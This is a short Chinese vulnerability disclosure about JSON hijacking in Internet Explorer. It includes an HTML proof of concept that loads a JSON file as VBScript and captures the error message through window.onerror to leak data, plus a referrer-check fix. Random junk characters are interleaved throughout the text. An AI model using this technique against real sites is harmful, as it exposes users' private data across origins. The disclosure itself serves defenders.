简要描述:# j, M, O$ d3 C! f! }! X
' c- P0 R' m9 a1 P; b由于某些资源容器对数据处理不当导致json劫持漏洞.* W' ]) h S# K) h
详细说明:
! s% C& u$ W% ^; Z由于ie支持vbscript,所以script元素可以指定成vbscript语言:
' d1 y3 \& E1 t% p9 E<script language=vbscript></script>
3 a1 D: f5 @( U " k/ n% ~: c8 [/ \5 N
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
$ ~: c" b- Y: E: X& x: r" K' O漏洞证明:. K0 H' f! a* {. g1 g3 n0 u2 v( v
<script>
5 f x8 M9 w- ~. O6 X$ V4 Jwindow.onerror=function(_){- ^) i# e2 K, w, b7 f4 q7 t
alert(_)9 j" U' m* x7 B. o7 _
}- i6 o& ?6 o& _1 Z* X5 z
</script>9 u( t1 q2 \$ K+ {$ l2 N
<script language=vbscript src=1.json></script>
1 @. I: t- h% A, O0 v 9 u- ^, ?$ e: P0 W9 r
& r5 r) i& V! x$ [1 N
1.json:5 t( a4 ~# P# ~ U$ l* E
[{"name":"sogili","age":19}]
0 ?6 \: w) K3 }$ ~% X9 w修复方案:
. L9 T$ w6 a8 V网站业务对于这个问题可以通过验证referrer是否为同源来防御 |